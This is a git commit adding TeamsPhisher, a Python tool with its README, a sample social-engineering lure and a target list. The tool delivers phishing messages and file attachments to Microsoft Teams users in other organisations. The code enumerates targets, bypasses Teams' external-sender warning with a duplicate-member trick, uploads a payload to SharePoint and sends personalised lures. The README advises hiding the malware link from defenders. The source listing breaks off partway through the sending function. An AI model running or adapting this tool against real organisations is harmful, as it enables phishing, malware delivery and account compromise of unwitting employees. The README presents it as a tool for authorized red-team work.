Initial commit
Initial commit Initial commit
@@ -0,0 +1,251 @@
|
||||
```
|
||||
...
|
||||
:-++++++=-.
|
||||
.=+++++++++++-
|
||||
.++++++++++++++= :------: :-:--.
|
||||
:+++++++++++++++. .---------- #= .-+.
|
||||
:+++++++++++++++. -----------: :#= :#.
|
||||
:--------------------------=++++++++- .------------ .=+ ++
|
||||
----------------------------+++++*+-. :+=-----===: -+-.+:
|
||||
:---------------------------++++=-. .=+++++=-. .=+:.
|
||||
:------=%%%%%%%%%%%%--------:... .:::.. -*=-:
|
||||
:------=****#@@#****--------=++++++++++++++-----------. -#++-
|
||||
:----------:+@@+:-----------+++++++++++++++=----------- -#++-
|
||||
:-----------+@@*------------+++++++++++++++=-----------. -*+*-
|
||||
:-----------+@@*------------+++++++++++++++=-----------. . -*++-
|
||||
:-----------+@@*------------+++++++++++++++=-----------. -- -*++-
|
||||
:-----------+@@*------------+++++++++++++++=-----------. . == -*++- .=
|
||||
:-----------+@@+------------+++++++++++++++=-----------. .+ -= :+==- .*
|
||||
:---------------------------+++++++++++++++=-----------. =* -= -+=+= .::
|
||||
----------------------------+++++++++++++++=----------- ** -+ -+=++. .*=
|
||||
.:-------------------------=+++++++++++++++=---------=: #+ := ++-:*= ==
|
||||
-++++++++++++++++++++++++++=-------=+=: :#= .:. *=: -*- ==
|
||||
.=+++++++++++++++++++++++++*+++++++=-. -#- ::++= :+=. .==
|
||||
:++++++++++++++++++++++++=:.:::::. -*: .=+-. .=+-. -+:
|
||||
.=+*+++++++++++++++++++- -+- .:-=. .-====----:-==:
|
||||
.-+**+++++++++++**+-. .++: .-=-: .:-====-:.
|
||||
:-=++******+=-: .=+===--.
|
||||
..:::.. ...
|
||||
|
||||
_____ ______ _ _ _
|
||||
|_ _| | ___ \| | (_) | |
|
||||
| | ___ __ _ _ __ ___ ___ | |_/ /| |__ _ ___ | |__ ___ _ __
|
||||
| | / _ \ / _` || '_ ` _ \ / __|| __/ | '_ \ | |/ __|| '_ \ / _ \| '__|
|
||||
| || __/| (_| || | | | | |\__ \| | | | | || |\__ \| | | || __/| |
|
||||
\_ \___| \__,_||_| |_| |_||___/\_| |_| |_||_||___/|_| |_| \___||_|
|
||||
|
||||
v1.0 developed by @Octoberfest73 (https://github.com/Octoberfest7)
|
||||
```
|
||||
# Introduction
|
||||
TeamsPhisher is a Python3 program that facilitates the delivery of phishing messages and attachments to Microsoft Teams users whose organizations allow external communications.
|
||||
|
||||
It is not ordinarily possible to send files to Teams users outside one's organization. Max Corbridge (@CorbridgeMax) and Tom Ellson (@tde_sec) over at JUMPSEC [recently disclosed a way to get around this restriction](https://labs.jumpsec.com/advisory-idor-in-microsoft-teams-allows-for-external-tenants-to-introduce-malware/) by manipulating Teams web requests in order to alter the recipient of a message with an attached file.
|
||||
|
||||
TeamsPhisher incorporates this technique in addition to [some earlier ones](https://posts.inthecyber.com/leveraging-microsoft-teams-for-initial-access-42beb07f12c4) disclosed by Andrea Santese (@Medu554).
|
||||
|
||||
It also heavily leans upon [TeamsEnum](https://github.com/sse-secure-systems/TeamsEnum), a fantastic piece of work from Bastian Kanbach (@_bka_) of SSE, for the authentication part of the attack flow as well as some general helper functions.
|
||||
|
||||
TeamsPhisher seeks to take the best from all of these projects and yield a robust, customizable, and efficient means for authorized Red Team operations to leverage Microsoft Teams for phishing for access scenarios.
|
||||
|
||||
# Features and demo
|
||||
Give TeamsPhisher an attachment, a message, and a list of target Teams users. It will upload the attachment to the sender's Sharepoint, and then iterate through the list of targets.
|
||||
|
||||
TeamsPhisher will first enumerate the target user and ensure that the user exists and can receive external messages. It will then create a new thread with the target user. Note this is technically a "group" chat because TeamsPhisher includes the target's email twice; this is a neat trick from @Medu554 that will bypass the "Someone outside your organization messaged you, are you sure you want to view it" splash screen that can give our targets reason for pause.
|
||||
|
||||
With the new thread created between our sender and the target, the specified message will be sent to the user along with a link to the attachment in Sharepoint.
|
||||
|
||||
Once this initial message has been sent, the created thread will be visible in the sender's Teams GUI and can be interacted with manually if need be on a case-by-case basis.
|
||||
|
||||
## Operational mode
|
||||
Run TeamsPhisher for real. Send phishing messages to targets.
|
||||
|
||||
Command:
|
||||

|
||||
|
||||
Targets.txt:
|
||||

|
||||
|
||||
Message.txt:
|
||||

|
||||
|
||||
TeamsPhisher output:
|
||||

|
||||
|
||||
Sender's view:
|
||||

|
||||
|
||||
Targets view:
|
||||

|
||||
|
||||
Attached file:
|
||||

|
||||
|
||||
## Preview mode
|
||||
Run TeamsPhisher in preview mode in order to verify your list of targets, preview their "friendly names" (if TeamsPhisher can resolve them using the --personalize switch), and send a test message to your own sender's account in order to verify everything looks as you want it.
|
||||
|
||||
TeamsPhisher output:
|
||||

|
||||
|
||||
Sender's view:
|
||||

|
||||
|
||||
# Setup and Requirements
|
||||
TeamsPhisher requires that users have a Microsoft Business account (as opposed to a personal one e.g. @hotmail, @outlook, etc) with a valid Teams and Sharepoint license.
|
||||
|
||||
This means you will need an AAD tenant and at least one user with a corresponding license. At the time of publication, there are some free trial licenses available in the AAD license center that fulfill the requirements for this tool.
|
||||
|
||||
In terms of local requirements, I recommend updating to the latest version of Python3. You will also need Microsoft's authentication library:
|
||||
```
|
||||
pip3 install msal
|
||||
```
|
||||
|
||||
# Usage
|
||||
```
|
||||
usage: teamsphisher.py [-h] -u USERNAME -p PASSWORD -a ATTACHMENT -m MESSAGE (-e EMAIL | -l LIST) [--greeting GREETING] [--securelink] [--personalize]
|
||||
[--preview] [--delay DELAY] [--nogreeting] [--log]
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-u USERNAME, --username USERNAME
|
||||
Username for authentication
|
||||
-p PASSWORD, --password PASSWORD
|
||||
Password for authentication
|
||||
-a ATTACHMENT, --attachment ATTACHMENT
|
||||
Full path to the attachment to send to targets.
|
||||
-m MESSAGE, --message MESSAGE
|
||||
A file containing a message to send with attached file.
|
||||
-e EMAIL, --targetemail EMAIL
|
||||
Single target email address
|
||||
-l LIST, --list LIST Full path to a file containing target emails. One per line.
|
||||
--greeting GREETING Override default greeting with a custom one. Use double quotes if including spaces!
|
||||
--securelink Send link to file only viewable by the individual target recipient.
|
||||
--personalize Try and use targets names in greeting when sending messages.
|
||||
--preview Run in preview mode. See personalized names for targets and send test message to sender's Teams.
|
||||
--delay DELAY Delay in [s] between each attempt. Default: 0
|
||||
--nogreeting Do not use built in greeting or personalized names, only send message specified with --message
|
||||
--log Write TeamsPhisher output to logfile
|
||||
```
|
||||
|
||||
## Required arguments
|
||||
|
||||
### Username
|
||||
The username of the Microsoft account you will be sending messages from (e.g. tomjones@mymadeuptenant.onmicrosoft.com)
|
||||
|
||||
### Password
|
||||
The password for the aforementioned account. If it contains special characters, it may be helpful to wrap the whole thing in single quotes.
|
||||
|
||||
### Attachment
|
||||
The file you wish to send to target users. This will be uploaded to the sending account's sharepoint and a link shared via Teams.
|
||||
|
||||
### Message
|
||||
A file containing the text message that should accompany the attachment and be sent to targets
|
||||
|
||||
### Email / List
|
||||
Either a single target email (e.g. mytargetsname@targettenant.onmicrosoft.com) or a file containing a list of target emails one per line.
|
||||
|
||||
## Optional arguments and features
|
||||
|
||||
### Greeting
|
||||
Override TeamPhisher's default greeting ("Hi, ") with a custom one to be prepended to the message specified by --message. For example, "Good afternoon, " or "Sales team, "
|
||||
|
||||
### Securelink
|
||||
By default the sharepoint link sent to targets can be viewed by anyone with the link; use --securelink so that the sharepoint file is only viewable by the target who received it. May help protect your malware from Blue team.
|
||||
|
||||
### Personalize
|
||||
TeamsPhisher will attempt to identify the first name of each target user and use it with the greeting. For example, tom.jones@targettenant.onmicrosoft.com would receive a message that started "Hi Tom, ". This is not perfect and is dependent on the format of the target emails; use --preview in order to see if this is a good fit for your target list or not.
|
||||
|
||||
### Preview
|
||||
TeamsPhisher will run in preview mode. This will NOT send any messages to target users, but will instead display the "friendly" name that would be used by the --personalize switch. In addition, a test message representative of what targets would receive with the current settings will be sent to the sender's Teams; log in and see how your message looks and revise as necessary.
|
||||
|
||||
### Delay
|
||||
Specify a x second delay between messages to targets. Can help with potential rate limiting issues.
|
||||
|
||||
### Nogreeting
|
||||
Disable the built-in greeting used by TeamsPhisher. Also disables the --personalize feature. Use this option if you are including your greeting within the message specified by --message.
|
||||
|
||||
### Log
|
||||
Write TeamsPhisher output to a log file (will write to users home directory).
|
||||
|
||||
## Examples
|
||||
```
|
||||
python3 teamsphisher.py -u testuser@xxxxxxxxxxxx.onmicrosoft.com -p 'xxxxxxxxxxxx' -l /root/targets.txt -a /root/attachment.zip -m /root/message.txt --log
|
||||
```
|
||||
|
||||
This command will fetch access tokens for the testuser account and upload the attachment '/root/attachment.zip' to testuser's Sharepoint.
|
||||
|
||||
It will then create a unique Teams thread with each target listed within '/root/targets.txt' and send them the message specified within '/root/message.txt' as well as a link to the attachment within Sharepoint.
|
||||
|
||||
All terminal output from TeamsPhisher will be logged in a file that is output within the user's home directory.
|
||||
|
||||
```
|
||||
python3 teamsphisher.py -u testuser@xxxxxxxxxxxx.onmicrosoft.com -p 'xxxxxxxxxxxx' -l /root/targets.txt -a /root/attachment.zip -m /root/message.txt --greeting "Good afternoon" --personalize --securelink
|
||||
```
|
||||
|
||||
This command will fetch access tokens for the testuser account and upload the attachment '/root/attachment.zip' to testuser's Sharepoint.
|
||||
|
||||
It will then create a unique Teams thread with each target listed within '/root/targets.txt' and send them the message specified within '/root/message.txt' as well as a link to the attachment within Sharepoint.
|
||||
|
||||
The message will be prefixed with the greeting "Good afternoon <name>, ".
|
||||
|
||||
TeamsPhisher will try and use "friendly" names in the greeting. Now the greeting will be "Good afternoon <name>,".
|
||||
|
||||
Each SharePoint link sent is unique and valid only for that specific target.
|
||||
|
||||
# Additional Features and Commentary
|
||||
|
||||
## Account enumeration
|
||||
TeamsPhisher will identify accounts that cannot be sent messages from external organizations, accounts that do not exist, and accounts that have a subscription plan that is not compatible with this attack vector:
|
||||
|
||||

|
||||
|
||||
## MFA enabled accounts
|
||||
Thanks to code from the TeamsEnum project, TeamsPhisher supports login with sender accounts using MFA:
|
||||
|
||||

|
||||
|
||||
|
||||
## Secure Sharepoint links
|
||||
Using the --securelink switch will result in targets being prompted to authenticate in order to view the attachment in Sharepoint. You can decide if this adds too many extra steps, or if it adds 'legitimacy' by sending them through real Microsoft login functionality.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Global variables
|
||||
|
||||
By editing TeamsPhisher.py you can alter a few global variables for use on subsequent runs:
|
||||
```
|
||||
## Global Options and Variables ##
|
||||
# Greeting: The greeting to use in messages sent to targets. Will be joined with the targets name if the --personalize flag is used
|
||||
# Examples: "Hi" "Good Morning" "Greetings"
|
||||
Greeting = "Hi"
|
||||
|
||||
# useragent: The user-agent string to use for web requests
|
||||
useragent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)"
|
||||
```
|
||||
|
||||
## Personalization and "friendly" names
|
||||
|
||||
The --personalize flags will try to resolve a "friendly" name for each target; it does this by looking at the data returned by the enumUser function and first checking the "displayName" field.
|
||||
|
||||
If the displayName field contains a space (e.g. "Tom Jones"), TeamsPhisher will split on the space and take the first chunk as the "friendly" name.
|
||||
|
||||
If there is not a space in the displayName field (e.g. some orgs might put the UPN in the displayName field like tom.jones@targettenant.onmicrosoft.com), TeamsPhisher will try and parse the UPN itself.
|
||||
|
||||
With an example UPN like tom.jones@targettenant.onmicrosoft.com, TeamsPhisher will split on the '@' character, and then in the first chunk split on the '.' character and take the first chunk. This would yield a "friendly" name of "Tom" in this case.
|
||||
|
||||
This is the extent of how TeamsPhisher will try and identify "friendly" names. Targets like "tomjones@targettenant.onmicrosoft.com" and "AdeleV@targettenant.onmicrosoft.com" will NOT have identified "friendly" names if their displayName fields do not match the parsing convention outline above.
|
||||
|
||||
# Credits and Acknowledgements
|
||||
|
||||
1. Max Corbridge (@CorbridgeMax) and Tom Ellson (@tde_sec) of JUMPSEC for [this article](https://labs.jumpsec.com/advisory-idor-in-microsoft-teams-allows-for-external-tenants-to-introduce-malware/). Extra shoutout to Max for being very responsive and willing to chat privately about his research.
|
||||
|
||||
2. Andrea Santese (@Medu554) [for this research](https://posts.inthecyber.com/leveraging-microsoft-teams-for-initial-access-42beb07f12c4). Again an extra shoutout for his responsiveness and being willing to discuss his work privately.
|
||||
|
||||
3. Bastian Kanbach (@_bka_) of SSE for [TeamsEnum](https://github.com/sse-secure-systems/TeamsEnum). This project served as a starting point for retrieving Bearer tokens and authenticating via different methods. I had used Graph API for these purposes, but his project (and this one) uses the normal endpoints so it was great having someone who had already fought through this and had reliable functions to accomplish it.
|
||||
|
||||
4. @pfiatde who has a [three-part series on Teams phishing](https://badoption.eu/blog/2023/06/30/teams3.html). While nothing was directly used from these articles, there is a lot of good additional tradecraft and considerations that should be looked at.
|
||||
|
||||
5. [This site for generating ASCII text](https://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20)
|
||||
|
||||
6. [This crazy project for converting images to ASCII art](https://github.com/TheZoraiz/ascii-image-converter)
|
||||
@@ -0,0 +1,9 @@
|
||||
In an effort to improve compensation in our industry, I have been crowdsourcing salary data from sales employees in our field. The attached spreadsheet has up to date info for some of the leading businesses as well as breakouts by seniority and tenure. I saw you worked at Bob Jones Big Bank and was hoping you might be willing to share some data to add to the data set.
|
||||
|
||||
Some people have had issues viewing the spreadsheet within browsers; your best bet is to download it and open it that way.
|
||||
|
||||
Hope this is of interest to you!
|
||||
|
||||
Best,
|
||||
|
||||
Phish Her
|
||||
@@ -0,0 +1,3 @@
|
||||
AdeleV@myreallycooltotallyrealtenant.onmicrosoft.com
|
||||
AlexW@myreallycooltotallyrealtenant.onmicrosoft.com
|
||||
tomdog@myreallycooltotallyrealtenant.onmicrosoft.com
|
||||
|
After Width: | Height: | Size: 91 KiB |
|
After Width: | Height: | Size: 26 KiB |
|
After Width: | Height: | Size: 74 KiB |
|
After Width: | Height: | Size: 168 KiB |
|
After Width: | Height: | Size: 94 KiB |
|
After Width: | Height: | Size: 30 KiB |
|
After Width: | Height: | Size: 42 KiB |
|
After Width: | Height: | Size: 80 KiB |
|
After Width: | Height: | Size: 110 KiB |
|
After Width: | Height: | Size: 136 KiB |
|
After Width: | Height: | Size: 37 KiB |
|
After Width: | Height: | Size: 37 KiB |
|
After Width: | Height: | Size: 56 KiB |
@@ -0,0 +1,748 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
import argparse
|
||||
import requests
|
||||
import json
|
||||
import os.path
|
||||
import sys
|
||||
import time
|
||||
from msal import PublicClientApplication
|
||||
from colorama import Fore, Style
|
||||
import datetime
|
||||
from os.path import expanduser
|
||||
import hashlib
|
||||
|
||||
## Global Options and Variables ##
|
||||
# Greeting: The greeting to use in messages sent to targets. Will be joined with the targets name if the --personalize flag is used
|
||||
# Examples: "Hi" "Good Morning" "Greetings"
|
||||
Greeting = "Hi"
|
||||
|
||||
# useragent: The useragent string to use for web requests
|
||||
useragent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)"
|
||||
|
||||
# fd: The file descriptor used for logging operations
|
||||
fd = None
|
||||
|
||||
# version: TeamsPhisher version used in banner
|
||||
__version__ = "1.0"
|
||||
|
||||
def p_err(msg, exit):
|
||||
output = Fore.RED + "[-] " + msg + Style.RESET_ALL
|
||||
print(output)
|
||||
if fd:
|
||||
p_file(output, True)
|
||||
if exit:
|
||||
sys.exit(-1)
|
||||
|
||||
def p_warn(msg):
|
||||
output = Fore.YELLOW + "[-] " + msg + Style.RESET_ALL
|
||||
print(output)
|
||||
if fd:
|
||||
p_file(output, True)
|
||||
|
||||
def p_success(msg):
|
||||
output = Fore.GREEN + "[+] " + msg + Style.RESET_ALL
|
||||
print(output)
|
||||
if fd:
|
||||
p_file(output, True)
|
||||
|
||||
def p_info(msg):
|
||||
output = Fore.CYAN + msg + Style.RESET_ALL
|
||||
print(output)
|
||||
if fd:
|
||||
p_file(output, True)
|
||||
|
||||
def p_task(msg):
|
||||
bufferlen = 75 - len(msg)
|
||||
output = msg + "." * bufferlen
|
||||
print(output, end="", flush=True)
|
||||
if fd:
|
||||
p_file(output, False)
|
||||
|
||||
def p_file(msg, newline):
|
||||
fd.write(msg)
|
||||
if newline:
|
||||
fd.write("\n")
|
||||
fd.flush()
|
||||
|
||||
def hashFile(file):
|
||||
md5 = hashlib.md5()
|
||||
sha1 = hashlib.sha1()
|
||||
sha256 = hashlib.sha256()
|
||||
|
||||
with open(file, 'rb') as f:
|
||||
data = f.read()
|
||||
f.close()
|
||||
|
||||
md5.update(data)
|
||||
sha1.update(data)
|
||||
sha256.update(data)
|
||||
|
||||
p_success("MD5: %s" % (md5.hexdigest()))
|
||||
p_success("SHA1: %s" % (sha1.hexdigest()))
|
||||
p_success("SHA256: %s" % (sha256.hexdigest()))
|
||||
|
||||
def getTenantID(username):
|
||||
|
||||
domain = username.split("@")[-1]
|
||||
|
||||
response = requests.get("https://login.microsoftonline.com/%s/.well-known/openid-configuration" % (domain))
|
||||
|
||||
if response.status_code != 200:
|
||||
p_err("Could not retrieve tenant id for domain %s" % (domain), True)
|
||||
|
||||
json_content = json.loads(response.text)
|
||||
tenant_id = json_content.get('authorization_endpoint').split("/")[3]
|
||||
|
||||
return tenant_id
|
||||
|
||||
def twoFAlogin(username, scope):
|
||||
#Values hardcoded for corporate/part of organization users
|
||||
app = PublicClientApplication( "1fec8e78-bce4-4aaf-ab1b-5451cc387264", authority="https://login.microsoftonline.com/%s" % getTenantID(username) )
|
||||
|
||||
try:
|
||||
# Initiate the device code authentication flow and print instruction message
|
||||
flow = app.initiate_device_flow(scopes=[scope])
|
||||
if "user_code" not in flow:
|
||||
p_err("Could not retrieve user code in authentication flow", exit=True)
|
||||
p_warn(flow.get("message"))
|
||||
except:
|
||||
p_err("Could not initiate device code authentication flow", exit=True)
|
||||
|
||||
# Initiates authentication based on the previously created flow. Polls the MS endpoint for entered device codes.
|
||||
try:
|
||||
result = app.acquire_token_by_device_flow(flow)
|
||||
except Exception as err:
|
||||
p_err("Error while authenticating: %s" % (err.args[0]), exit=True)
|
||||
|
||||
return result
|
||||
|
||||
def getBearerToken(username, password, scope):
|
||||
|
||||
result = None
|
||||
|
||||
# If scope was passed in as a dictionary, we are fetching our sharepoint bearer and need to assemble the URL using the tenant name
|
||||
if isinstance(scope, dict):
|
||||
p_task("Fetching Bearer token for SharePoint...")
|
||||
scope = 'https://%s-my.sharepoint.com/.default' % scope.get('tenantName')
|
||||
else:
|
||||
p_task("Fetching Bearer token for Teams...")
|
||||
|
||||
# If scope was passed in as a dictionary, we are fetching our sharepoint bearer and need to assemble the URL using the tenant name
|
||||
if isinstance(scope, dict):
|
||||
scope = 'https://%s-my.sharepoint.com/.default' % scope.get('tenantName')
|
||||
|
||||
#Values hardcoded for corporate/part of organization users
|
||||
app = PublicClientApplication( "1fec8e78-bce4-4aaf-ab1b-5451cc387264", authority="https://login.microsoftonline.com/%s" % getTenantID(username) )
|
||||
try:
|
||||
# Initiates authentication based on credentials.
|
||||
result = app.acquire_token_by_username_password(username, password, scopes=[scope])
|
||||
except ValueError as err:
|
||||
if "This typically happens when attempting MSA accounts" in err.args[0]:
|
||||
p_warn("Username/Password authentication cannot be used with Microsoft accounts. Either use the device code authentication flow or try again with a user managed by an organization.")
|
||||
p_error("Error while acquring token", True)
|
||||
|
||||
# Login not successful
|
||||
if "access_token" not in result:
|
||||
if "Error validating credentials due to invalid username or password" in result.get("error_description"):
|
||||
p_err("Invalid credentials entered", True)
|
||||
elif "This device code has expired" in result.get("error_description"):
|
||||
p_err("The device code has expired. Please try again", True)
|
||||
elif "multi-factor authentication" in result.get("error_description"):
|
||||
result = twoFAlogin(username, scope)
|
||||
else:
|
||||
p_err(result.get("error_description"), True)
|
||||
|
||||
p_success("SUCCESS!")
|
||||
return result["access_token"]
|
||||
|
||||
def getSkypeToken(bearer):
|
||||
|
||||
p_task("Fetching Skype token...")
|
||||
|
||||
headers = {"Authorization": "Bearer " + bearer}
|
||||
|
||||
# Requests a Skypetoken
|
||||
# https://digitalworkplace365.wordpress.com/2021/01/04/using-the-ms-teams-native-api-end-points/
|
||||
content = requests.post("https://authsvc.teams.microsoft.com/v1.0/authz", headers=headers)
|
||||
|
||||
if content.status_code != 200:
|
||||
p_err("Error fetching skype token: %d" % (content.status_code), True)
|
||||
|
||||
json_content = json.loads(content.text)
|
||||
if "tokens" not in json_content:
|
||||
p_err("Could not retrieve Skype token", True)
|
||||
|
||||
p_success("SUCCESS!")
|
||||
return json_content.get("tokens").get("skypeToken")
|
||||
|
||||
def getSenderInfo(bearer):
|
||||
|
||||
p_task("Fetching sender info...")
|
||||
|
||||
displayName = None
|
||||
userID = None
|
||||
|
||||
headers = {
|
||||
"Authorization": "Bearer %s" % (bearer)
|
||||
}
|
||||
|
||||
#First request fetches userID associated with our sender/bearer token
|
||||
response = requests.get("https://teams.microsoft.com/api/mt/emea/beta/users/tenants", headers=headers)
|
||||
|
||||
if response.status_code != 200:
|
||||
p_err("Could not retrieve senders userID!", True)
|
||||
|
||||
# Store userID as well as the tenantName of our sending user
|
||||
userID = json.loads(response.text)[0].get('userId')
|
||||
tenantName = json.loads(response.text)[0].get('tenantName')
|
||||
|
||||
# Second we need to find the display name associated with our userID
|
||||
# Enumerate users within sender's tenant and find our matching user
|
||||
response = requests.get("https://teams.microsoft.com/api/mt/emea/beta/users", headers=headers) #/tenants
|
||||
|
||||
if response.status_code != 200:
|
||||
p_err("Could not retrieve senders display name!", True)
|
||||
|
||||
users = json.loads(response.text)['users']
|
||||
|
||||
#Iterate through retrieved users and find the one that matches our previously retrieved UserID.
|
||||
for user in users:
|
||||
if user.get('id') == userID:
|
||||
senderInfo = user
|
||||
break
|
||||
|
||||
# Add tenantName to our senderInfo data for later
|
||||
senderInfo['tenantName'] = tenantName
|
||||
|
||||
p_success("SUCCESS!")
|
||||
|
||||
return senderInfo
|
||||
|
||||
def authenticate(args):
|
||||
|
||||
# If given username + password
|
||||
if args.username and args.password:
|
||||
bToken = getBearerToken(args.username, args.password, 'https://api.spaces.skype.com/.default')
|
||||
skypeToken = getSkypeToken(bToken)
|
||||
senderInfo = getSenderInfo(bToken)
|
||||
sharepointToken = getBearerToken(args.username, args.password, senderInfo)
|
||||
|
||||
# Otherwise fail
|
||||
else:
|
||||
p_err("You must provide a username AND password!", True)
|
||||
|
||||
return bToken, skypeToken, sharepointToken, senderInfo
|
||||
|
||||
def findFriendlyName(targetInfo):
|
||||
|
||||
# Check for a space in the display name for an easy win i.e. "Tom Jones"
|
||||
if " " in targetInfo.get('displayName'):
|
||||
friendlyName = targetInfo.get('displayName').split(" ")[0].capitalize()
|
||||
|
||||
# Next we are going to do some guesswork with their UPN i.e. "tom.jones@mytest.onmicrosoft.com"
|
||||
elif "@" in targetInfo.get('userPrincipalName'):
|
||||
if "." in targetInfo.get('userPrincipalName').split("@"):
|
||||
friendlyName = targetInfo.get('userPrincipalName').split("@")[0].split(".")[0].capitalize()
|
||||
else:
|
||||
friendlyName = targetInfo.get('userPrincipalName').split("@")[0].capitalize()
|
||||
|
||||
# Otherwise give up...
|
||||
else:
|
||||
friendlyName = None
|
||||
|
||||
return friendlyName
|
||||
|
||||
def jsonifyMessage(message):
|
||||
|
||||
jsonMessage = ""
|
||||
|
||||
# Read in message
|
||||
with open(message) as f:
|
||||
lines = f.readlines()
|
||||
f.close()
|
||||
|
||||
# Iterate through lines in message and add proper formatting tags in order to preserve newlines
|
||||
for line in lines:
|
||||
if line == "\n":
|
||||
jsonMessage = jsonMessage + "<p> </p>"
|
||||
else:
|
||||
jsonMessage = jsonMessage + "<p>%s</p>" % (line)
|
||||
|
||||
return jsonMessage
|
||||
|
||||
def enumUser(bearer, email):
|
||||
|
||||
headers = {
|
||||
"Authorization": "Bearer " + bearer,
|
||||
"X-Ms-Client-Version": "1415/1.0.0.2023031528",
|
||||
"User-Agent": useragent
|
||||
}
|
||||
|
||||
user = {'email':email}
|
||||
|
||||
content = requests.get("https://teams.microsoft.com/api/mt/emea/beta/users/%s/externalsearchv3?includeTFLUsers=true" % (email), headers=headers)
|
||||
|
||||
if content.status_code == 403:
|
||||
p_warn("User exists but the target tenant or your tenant disallow communication to external domains.")
|
||||
return None
|
||||
|
||||
if content.status_code == 401:
|
||||
p_err("Unable to enumerate user. Is the access token valid?", True)
|
||||
|
||||
if content.status_code != 200 or ( content.status_code == 200 and len(content.text) < 3 ):
|
||||
p_warn("Unable to enumerate user. User does not exist, is not Teams-enrolled, is part of senders tenant, or is configured to not appear in search results.")
|
||||
return None
|
||||
|
||||
user_profile = json.loads(content.text)[0]
|
||||
if "sfb" in user_profile['mri']:
|
||||
p_warn("This user has a Skype for Business subscription and cannot be sent files.")
|
||||
return None
|
||||
else:
|
||||
return user_profile
|
||||
|
||||
def uploadFile(sharepointToken, senderSharepointURL, senderDrive, attachment):
|
||||
|
||||
p_task("Uploading file: %s" % (attachment))
|
||||
|
||||
# Assemble upload URL
|
||||
url = "%s/personal/%s/_api/v2.0/drive/root:/Microsoft%%20Teams%%20Chat%%20Files/%s:/content?@name.conflictBehavior=replace&$select=*,sharepointIds,webDavUrl" % (senderSharepointURL, senderDrive, os.path.basename(attachment))
|
||||
|
||||
headers = {
|
||||
"Authorization": "Bearer " + sharepointToken,
|
||||
"User-Agent": useragent,
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Origin": "https://teams.microsoft.com",
|
||||
"Referer": "https://teams.microsoft.com/"
|
||||
}
|
||||
|
||||
# Read local file
|
||||
with open(attachment, mode="rb") as file:
|
||||
contents = file.read()
|
||||
|
||||
# Upload file
|
||||
content = requests.put(url, headers=headers, data=contents)
|
||||
|
||||
# Seem to have seen both of these codes for file uploads...
|
||||
if content.status_code != 201 and content.status_code != 200:
|
||||
p_err("Error uploading file: %d" % (content.status_code), True)
|
||||
|
||||
# Parse out the uploadID. We will need this to craft our invite link
|
||||
uploadInfo = json.loads(content.text)
|
||||
|
||||
p_success("SUCCESS!")
|
||||
|
||||
return uploadInfo
|
||||
|
||||
def createThread(skypeToken, senderInfo, targetInfo):
|
||||
|
||||
headers = {
|
||||
"Authentication": "skypetoken=" + skypeToken,
|
||||
"User-Agent": useragent,
|
||||
"Content-Type": "application/json",
|
||||
"Origin": "https://teams.microsoft.com",
|
||||
"Referer": "https://teams.microsoft.com/"
|
||||
}
|
||||
|
||||
# Body of new thread request.
|
||||
# Sending target user MRI TWICE to create a "group chat" in order to bypass "external user message approval" prompt
|
||||
# See https://posts.inthecyber.com/leveraging-microsoft-teams-for-initial-access-42beb07f12c4
|
||||
body = """{"members":[{"id":\"""" + senderInfo.get('mri') + """\","role":"Admin"},{"id":\"""" + targetInfo.get('mri') + """\","role":"Admin"},{"id":\"""" + targetInfo.get('mri') + """\","role":"Admin"}],"properties":{"threadType":"chat","chatFilesIndexId":"2","cfet":"true"}}"""
|
||||
|
||||
# Create chat thread
|
||||
content = requests.post("https://amer.ng.msg.teams.microsoft.com/v1/threads", headers=headers, data=body)
|
||||
|
||||
if content.status_code != 201:
|
||||
p_warn("Error creating chat: %d" % (content.status_code))
|
||||
return None
|
||||
|
||||
threadID = content.headers.get('Location').split("/")[-1]
|
||||
|
||||
return threadID
|
||||
|
||||
def sendFile(skypeToken, threadID, senderInfo, targetInfo, inviteInfo, senderSharepointURL, senderDrive, attachment, message, personalize, nogreeting):
|
||||
|
||||
# Sending a real message to a target
|
||||
if threadID:
|
||||
url = "https://amer.ng.msg.teams.microsoft.com/v1/users/ME/conversations/" + threadID + "/messages"
|
||||
|
||||
# Sending a test message to ourselves
|
||||
else:
|
||||
url = "https://amer.ng.msg.teams.microsoft.com/v1/users/ME/conversations/48%3Anotes/messages"
|
||||
|
||||
headers = {
|
||||
"Authentication": "skypetoken=" + skypeToken,
|
||||
"User-Agent": useragent,
|
||||
"Content-Type": "application/json",
|
||||
"Origin": "https://teams.microsoft.com",
|
||||
"Referer": "https://teams.microsoft.com/"
|
||||
}
|
||||
|
||||
# Format supplied message to be json friendly
|
||||
jsonMsg = jsonifyMessage(message)
|
||||
|
||||
# If --nogreeting specified, initialize introduction
|
||||
if nogreeting:
|
||||
introduction = ""
|
||||
# Otherwise standard behavior is to use pre-set greeting
|
||||
else:
|
||||
# Initialize standard greeting
|
||||
introduction = "<p>%s,</p><p> </p>" % (Greeting)
|
||||
|
||||
# If personalizing, try and fetch friendly name for target and add to greeting
|
||||
if personalize:
|
||||
friendlyName = findFriendlyName(targetInfo)
|
||||
if friendlyName:
|
||||
introduction = "<p>%s %s,</p><p> </p>" % (Greeting, friendlyName)
|
||||
|
||||
# Assemble final message
|
||||
assembledMessage = introduction + jsonMsg
|
||||
|
||||
body = """{
|
||||
"content": "%s",
|
||||
"messagetype": "RichText/Html",
|
||||
"contenttype": "text",
|
||||
"amsreferences": [],
|
||||
"clientmessageid": "3529890327684204137",
|
||||
"imdisplayname": "phish her",
|
||||
"properties": {
|
||||
